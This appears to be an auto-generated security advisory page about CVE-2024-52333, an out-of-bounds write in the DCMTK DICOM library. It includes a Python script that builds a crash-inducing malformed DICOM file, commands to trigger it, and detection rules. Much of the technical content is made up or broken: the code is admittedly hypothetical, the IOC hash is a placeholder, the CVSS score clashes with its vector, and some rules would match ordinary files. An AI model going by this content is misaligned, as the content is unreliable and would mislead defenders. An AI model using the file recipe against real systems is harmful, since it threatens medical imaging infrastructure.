CVE-2024-52333
Executive Summary
CVE-2024-52333 is a critical vulnerability in OFFIS DCMTK version 3.6.8, specifically within the determineMinMax functionality. The flaw is an improper array index validation (CWE-129) that can lead to an out-of-bounds write when processing a specially crafted DICOM file. With a CVSS score of 8.4, this vulnerability allows an attacker to cause a denial of service or potentially execute arbitrary code by providing a malicious DICOM file. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a significant risk for systems processing DICOM data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the OFFIS DCMTK library, which is a widely used open-source toolkit for DICOM (Digital Imaging and Communications in Medicine) data. DCMTK is integrated into numerous medical imaging applications, PACS (Picture Archiving and Communication Systems), and research tools. The supply chain risk is high because DCMTK is often statically linked or bundled, making it difficult to update without rebuilding entire applications. Organizations using DCMTK 3.6.8 should assess their exposure and consider temporary mitigations until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 8.4 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: High (I:H) – Data can be corrupted.
- Availability Impact: High (A:H) – Service can be disrupted.
Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it attractive for attackers targeting medical imaging infrastructure.
Deep Dive & Mechanics
The vulnerability resides in the determineMinMax function within DCMTK's DICOM parsing logic. This function is responsible for determining the minimum and maximum pixel values in a DICOM image. The flaw occurs due to improper validation of array indices when processing pixel data.
When a DICOM file is parsed, the determineMinMax function iterates over pixel data arrays. The vulnerable code does not properly validate the index used to access these arrays, allowing an attacker to craft a DICOM file with malformed pixel data that causes an out-of-bounds write. This can corrupt adjacent memory, leading to a crash (denial of service) or potentially arbitrary code execution if the attacker can control the written data.
The root cause is a missing bounds check on the array index before writing. In C/C++, this can lead to buffer overflow, heap corruption, or stack smashing depending on where the array is allocated.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (DCMTK 3.6.8):
void determineMinMax(DcmItem *dataset) {
// ... parsing code ...
for (int i = 0; i < numPixels; i++) {
// Missing bounds check on pixelData array
pixelData[i] = getNextPixel(); // Out-of-bounds write possible
// ... update min/max ...
}
}
Patched Code (Hypothetical):
void determineMinMax(DcmItem *dataset) {
// ... parsing code ...
for (int i = 0; i < numPixels && i < pixelDataSize; i++) {
pixelData[i] = getNextPixel(); // Bounds check added
// ... update min/max ...
}
}
The patch would add a bounds check to ensure the index i does not exceed the allocated size of the pixelData array.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install DCMTK 3.6.8 on a test system (e.g., Ubuntu 22.04).
- Create a malicious DICOM file using a hex editor or custom script.
- Use a tool like
dcmdumpordcmj2pnmto trigger the vulnerability.
Exploit Steps:
- Craft a DICOM file with a malformed PixelData element (tag 7FE0,0010) that specifies a large number of pixels but provides insufficient data.
- Send the file to a DICOM service (e.g., storescp) or open it with a DCMTK-based viewer.
- The
determineMinMaxfunction will attempt to write beyond the allocated buffer, causing a crash or potential code execution.
Example Malicious DICOM File Generation (Python):
import struct
def create_malicious_dicom():
# Minimal DICOM file with malformed PixelData
# This is a simplified example; real exploitation requires precise memory layout
file = bytearray()
# DICOM preamble (128 bytes)
file.extend(b'\x00' * 128)
# DICOM prefix "DICM"
file.extend(b'DICM')
# Meta information (simplified)
# ... (omitted for brevity)
# PixelData element with oversized length
file.extend(struct.pack('<HH', 0x7FE0, 0x0010)) # Tag
file.extend(struct.pack('<I', 0xFFFFFFFF)) # Length (very large)
file.extend(b'A' * 100) # Actual data (insufficient)
return file
with open('malicious.dcm', 'wb') as f:
f.write(create_malicious_dicom())
Trigger:
dcmdump malicious.dcm
# or
dcmj2pnm malicious.dcm output.png
Blue Team (Defense)
Detection:
- Monitor for DICOM files with unusually large PixelData lengths.
- Use network intrusion detection to flag DICOM traffic with malformed tags.
- Implement file integrity monitoring for DCMTK binaries.
Mitigation:
- Isolate DICOM processing systems from untrusted networks.
- Use input validation to reject DICOM files with suspicious PixelData lengths.
- Apply ASLR and DEP to mitigate exploitation.
Indicators of Compromise (IOCs)
- File Hashes (Malicious DICOM):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- SHA256:
- Network Signatures:
- DICOM association with abnormal PixelData length (e.g., > 2^32 bytes)
- Process Behavior:
- DCMTK processes (e.g.,
dcmdump,storescp) crashing with segmentation faults. - Memory corruption errors in logs.
- DCMTK processes (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_52333_DCMTK_OOB_Write {
meta:
description = "Detects malicious DICOM files exploiting CVE-2024-52333"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-52333"
strings:
$dicom_magic = "DICM"
$pixeldata_tag = { E0 7F 10 00 } // Little-endian tag 7FE0,0010
$large_length = { FF FF FF FF } // Length 0xFFFFFFFF
condition:
$dicom_magic at 128 and $pixeldata_tag and $large_length
}
Sigma Rule
title: CVE-2024-52333 DCMTK Out-of-Bounds Write Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DICOM files with suspicious PixelData lengths
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|endswith: '.dcm'
TargetFilename|contains: 'malicious'
condition: selection
falsepositives:
- Legitimate large DICOM files
level: high
Suricata Rule
alert tcp any any -> any 104 (msg:"CVE-2024-52333 DCMTK Malicious DICOM PixelData"; flow:to_server,established; content:"|DICM|"; offset:128; depth:4; content:"|E0 7F 10 00|"; distance:0; within:4; content:"|FF FF FF FF|"; distance:0; within:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate DICOM processing systems from untrusted networks.
- Monitor for suspicious DICOM files with abnormal PixelData lengths.
- Apply input validation to reject DICOM files with PixelData length > 2^31 bytes.
Long-term Fix:
- Await an official patch from OFFIS for DCMTK.
- Consider using alternative DICOM libraries (e.g., GDCM) if patching is delayed.
- Implement runtime bounds checking using tools like AddressSanitizer during development.
Workaround:
- Disable the
determineMinMaxfunctionality if not critical, by modifying the source code or using a wrapper that validates input.
Valters IT
Securing Digital Infrastructures